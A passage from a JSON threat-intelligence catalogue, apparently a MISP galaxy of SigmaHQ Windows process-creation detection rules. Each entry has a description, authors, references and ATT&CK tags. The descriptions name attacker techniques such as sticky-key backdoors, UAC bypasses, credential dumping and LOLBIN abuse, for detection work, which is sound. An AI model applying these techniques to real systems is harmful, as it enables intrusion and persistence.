        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/",
          "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_module_install.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1505.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "9465ddf4-f9e4-4ebd-8d98-702df3a93239",
      "value": "IIS Native-Code Module Command Line Installation"
    },
    {
      "description": "Detects script file execution (.js, .jse, .vba, .vbe, .vbs, .wsf) by Wscript/Cscript",
      "meta": {
        "author": "Michael Haag",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "Some additional tuning is required. It is recommended to add the user profile path in CommandLine if it is getting too noisy."
        ],
        "filename": "proc_creation_win_wscript_cscript_script_exec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_script_exec.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.005",
          "attack.t1059.007"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
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        {
          "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "1e33157c-53b1-41ad-bbcc-780b80b58288",
      "value": "WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript"
    },
    {
      "description": "Detects suspicious execution of rundll32, with specific calls to some DLLs with known LOLBIN functionalities",
      "meta": {
        "author": "juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2019/01/16",
        "falsepositive": [
          "False positives depend on scripts and administrative tools used in the monitored environment"
        ],
        "filename": "proc_creation_win_rundll32_susp_activity.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/eral4m/status/1479080793003671557",
          "https://twitter.com/eral4m/status/1479106975967240209",
          "https://twitter.com/Hexacorn/status/885258886428725250",
          "https://twitter.com/nas_bench/status/1433344116071583746",
          "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52",
          "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.011"
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      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e593cf51-88db-4ee1-b920-37e89012a3c9",
      "value": "Potentially Suspicious Rundll32 Activity"
    },
    {
      "description": "Detects Access to Domain Group Policies stored in SYSVOL",
      "meta": {
        "author": "Markus Neis, Jonhnathan Ribeiro, oscd.community",
        "creation_date": "2018/04/09",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_susp_sysvol_access.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://adsecurity.org/?p=2288",
          "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
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          "type": "related-to"
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      ],
      "uuid": "05f3c945-dcc8-4393-9f3d-af65077a8f86",
      "value": "Suspicious SYSVOL Domain Group Policy Access"
    },
    {
      "description": "Detects the export of a crital Registry key to a file.",
      "meta": {
        "author": "Oddvar Moe, Sander Wiebing, oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Dumping hives for legitimate purpouse i.e. backup or forensic investigation"
        ],
        "filename": "proc_creation_win_regedit_export_critical_keys.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f",
          "https://lolbas-project.github.io/lolbas/Binaries/Regedit/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1012"
        ]
      },
      "related": [
        {
          "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
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      ],
      "uuid": "82880171-b475-4201-b811-e9c826cd5eaa",
      "value": "Exports Critical Registry Keys To a File"
    },
    {
      "description": "Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wab_unusual_parents.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime",
          "https://thedfirreport.com/2022/09/26/bumblebee-round-two/",
          "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution"
        ]
      },
      "uuid": "63d1ccc0-2a43-4f4b-9289-361b308991ff",
      "value": "Wab/Wabmig Unusual Parent Or Child Processes"
    },
    {
      "description": "Detects the use of Windows Credential Editor (WCE)",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/12/31",
        "falsepositive": [
          "Another service that uses a single -s command line switch"
        ],
        "filename": "proc_creation_win_hktl_wce.yml",
        "level": "critical",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.ampliasecurity.com/research/windows-credentials-editor/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wce.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001",
          "attack.s0005"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
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          ],
          "type": "related-to"
        }
      ],
      "uuid": "7aa7009a-28b9-4344-8c1f-159489a390df",
      "value": "HackTool - Windows Credential Editor (WCE) Execution"
    },
    {
      "description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_zipexec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/SBousseaden/status/1451237393017839616",
          "https://github.com/Tylous/ZipExec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_zipexec.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1218",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "90dcf730-1b71-4ae7-9ffc-6fcf62bd0132",
      "value": "Suspicious ZipExec Execution"
    },
    {
      "description": "Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)",
      "meta": {
        "author": "frack113, Nasreddine Bencherchali",
        "creation_date": "2022/08/20",
        "falsepositive": [
          "Legitimate use of Pester for writing tests for Powershell scripts and modules"
        ],
        "filename": "proc_creation_win_lolbin_pester.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/_st0pp3r_/status/1560072680887525378",
          "https://twitter.com/Oddvarmoe/status/993383596244258816",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pester.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001",
          "attack.defense_evasion",
          "attack.t1216"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "18988e1b-9087-4f8a-82fe-0414dce49878",
      "value": "Execute Code with Pester.bat as Parent"
    },
    {
      "description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/23",
        "falsepositive": [
          "Domain Controller User Logon",
          "Unknown how many legitimate software products use that method"
        ],
        "filename": "proc_creation_win_explorer_nouaccheck.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/ORCA6665/status/1496478087244095491",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_nouaccheck.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1548.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
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          ],
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      ],
      "uuid": "534f2ef7-e8a2-4433-816d-c91bccde289b",
      "value": "Explorer NOUACCHECK Flag"
    },
    {
      "description": "Detects the execution of \".xbap\" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious \".xbap\" files any bypass AWL\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/01",
        "falsepositive": [
          "Legitimate \".xbap\" being executed via \"PresentationHost\""
        ],
        "filename": "proc_creation_win_presentationhost_uncommon_location_exec.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_presentationhost_uncommon_location_exec.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d22e2925-cfd8-463f-96f6-89cec9d9bc5f",
      "value": "XBAP Execution From Uncommon Locations Via PresentationHost.EXE"
    },
    {
      "description": "Detects the usage of attrib with the \"+s\" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple rights. The rule limits the search to specific extensions and directories to avoid FPs\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_attrib_system_susp_paths.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0",
          "https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/",
          "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "efec536f-72e8-4656-8960-5e85d091345b",
      "value": "Set Suspicious Files as System Files Using Attrib.EXE"
    },
    {
      "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).",
      "meta": {
        "author": "Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro",
        "creation_date": "2019/09/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_registry_install_reg_debugger_backdoor.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/",
          "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_install_reg_debugger_backdoor.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1546.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ae215552-081e-44c7-805f-be16f975c8a2",
      "value": "Suspicious Debugger Registration Cmdline"
    },
    {
      "description": "Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_susp_remote_desktop_tunneling.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_remote_desktop_tunneling.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1021"
        ]
      },
      "related": [
        {
          "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "8a3038e8-9c9d-46f8-b184-66234a160f6f",
      "value": "Potential Remote Desktop Tunneling"
    },
    {
      "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.",
      "meta": {
        "author": "Matthew Green @mgreen27, Ecco, James Pemberton @4A616D6573, oscd.community, Andreas Hunkeler (@Karneades)",
        "creation_date": "2019/06/15",
        "falsepositive": [
          "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist"
        ],
        "filename": "proc_creation_win_renamed_binary.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html",
          "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1036.003/T1036.003.md#atomic-test-1---masquerading-as-windows-lsass-process",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "36480ae1-a1cb-4eaa-a0d6-29801d7e9142",
      "value": "Potential Defense Evasion Via Binary Rename"
    },
    {
      "description": "Detects suspicious command line in which a user gets added to the local Remote Desktop Users group",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/12/06",
        "falsepositive": [
          "Administrative activity"
        ],
        "filename": "proc_creation_win_susp_add_user_remote_desktop_group.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop_group.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.lateral_movement",
          "attack.t1133",
          "attack.t1136.001",
          "attack.t1021.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        {
          "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        },
        {
          "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "ffa28e60-bdb1-46e0-9f82-05f7a61cc06e",
      "value": "Suspicious Add User to Remote Desktop Users Group"
    },
    {
      "description": "Detects the malicious use of a control panel item",
      "meta": {
        "author": "Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_)",
        "creation_date": "2020/06/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_control_panel_item.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_control_panel_item.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1218.002",
          "attack.persistence",
          "attack.t1546"
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      },
      "related": [
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          "dest-uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f",
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        {
          "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
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      "uuid": "0ba863e6-def5-4e50-9cea-4dd8c7dc46a4",
      "value": "Control Panel Items"
    },
    {
      "description": "Detects a certain command line flag combination used by \"devinit.exe\", which can be abused as a LOLBIN to download arbitrary MSI packages on a Windows system",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/01/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_devinit_lolbin_usage.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/",
          "https://twitter.com/mrd0x/status/1460815932402679809",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_devinit_lolbin_usage.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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          ],
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      ],
      "uuid": "90d50722-0483-4065-8e35-57efaadd354d",
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    {
      "description": "Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) with suspicious Addinroot or Pipelineroot paths. An adversary may execute AddinUtil.exe with uncommon Addinroot/Pipelineroot paths that point to the adversaries Addins.Store payload.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)",
        "creation_date": "2023/09/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_addinutil_suspicious_cmdline.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_suspicious_cmdline.yml"
        ],
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          "attack.defense_evasion",
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      "uuid": "631b22a4-70f4-4e2f-9ea8-42f84d9df6d8",
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      "meta": {
        "author": "Sreeman",
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        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_schtasks_persistence_windows_telemetry.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_persistence_windows_telemetry.yml"
        ],
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      },
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          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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      ],
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      "description": "Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Legitimate use by developers as part of NodeJS development with Visual Studio Tools"
        ],
        "filename": "proc_creation_win_pressanykey_lolbin_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5",
          "https://twitter.com/mrd0x/status/1463526834918854661",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pressanykey_lolbin_execution.yml"
        ],
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      },
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      ],
      "uuid": "a20391f8-76fb-437b-abc0-dba2df1952c6",
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    },
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      "description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th positional argument",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), memory-shards",
        "creation_date": "2022/12/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_agentexecutor_susp_usage.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/jseerden/status/1247985304667066373/photo/1",
          "https://docs.microsoft.com/en-us/mem/intune/apps/intune-management-extension",
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/",
          "https://twitter.com/lefterispan/status/1286259016436514816",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_agentexecutor_susp_usage.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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          ],
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        }
      ],
      "uuid": "c0b40568-b1e9-4b03-8d6c-b096da6da9ab",
      "value": "Suspicious AgentExecutor PowerShell Execution"
    },
    {
      "description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hwp_exploits.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/",
          "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1",
          "https://blog.alyac.co.kr/1901",
          "https://en.wikipedia.org/wiki/Hangul_(word_processor)",
          "https://twitter.com/cyberwar_15/status/1187287262054076416",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml"
        ],
        "tags": [
          "attack.initial_access",
          "attack.t1566.001",
          "attack.execution",
          "attack.t1203",
          "attack.t1059.003",
          "attack.g0032"
        ]
      },
      "related": [
        {
          "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
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          ],
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        },
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
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          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
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      "value": "Suspicious HWP Sub Processes"
    },
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      "description": "Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/uac-bypass-via-windows-firewall-snap-in-hijack.html#uac-bypass-via-windows-firewall-snap-in-hijack",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_hijacking_firwall_snap_in.yml"
        ],
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          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "e52cb31c-10ed-4aea-bcb7-593c9f4a315b",
      "value": "UAC Bypass via Windows Firewall Snap-In Hijack"
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    {
      "description": "Use of reg to get MachineGuid information",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_reg_machineguid.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-8---windows-machineguid-discovery",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_machineguid.yml"
        ],
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          "attack.discovery",
          "attack.t1082"
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      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_infdefaultinstall_execute_sct_scripts.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution",
          "https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall_execute_sct_scripts.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1218"
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        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      ],
      "uuid": "ce7cf472-6fcc-490a-9481-3786840b5d9b",
      "value": "InfDefaultInstall.exe .inf Execution"
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    {
      "description": "Detects when a share is mounted using the \"net.exe\" utility",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Legitimate activity by administrators and scripts"
        ],
        "filename": "proc_creation_win_net_use_mount_share.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_mount_share.yml"
        ],
        "tags": [
          "attack.lateral_movement",
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      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
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      ],
      "uuid": "f117933c-980c-4f78-b384-e3d838111165",
      "value": "Windows Share Mount Via Net.EXE"
    },
    {
      "description": "Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.",
      "meta": {
        "author": "Austin Songer @austinsonger",
        "creation_date": "2021/10/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certoc_load_dll.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Certoc/",
          "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2",
          "https://twitter.com/sblmsrsn/status/1445758411803480072?s=20",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1218"
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        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
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      ],
      "uuid": "242301bc-f92f-4476-8718-78004a6efd9f",
      "value": "DLL Loaded via CertOC.EXE"
    },
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      "description": "Detects execution of \"Tpmvscmgr.exe\" to create a new virtual smart card.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Legitimate usage by an administrator"
        ],
        "filename": "proc_creation_win_tpmvscmgr_add_virtual_smartcard.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
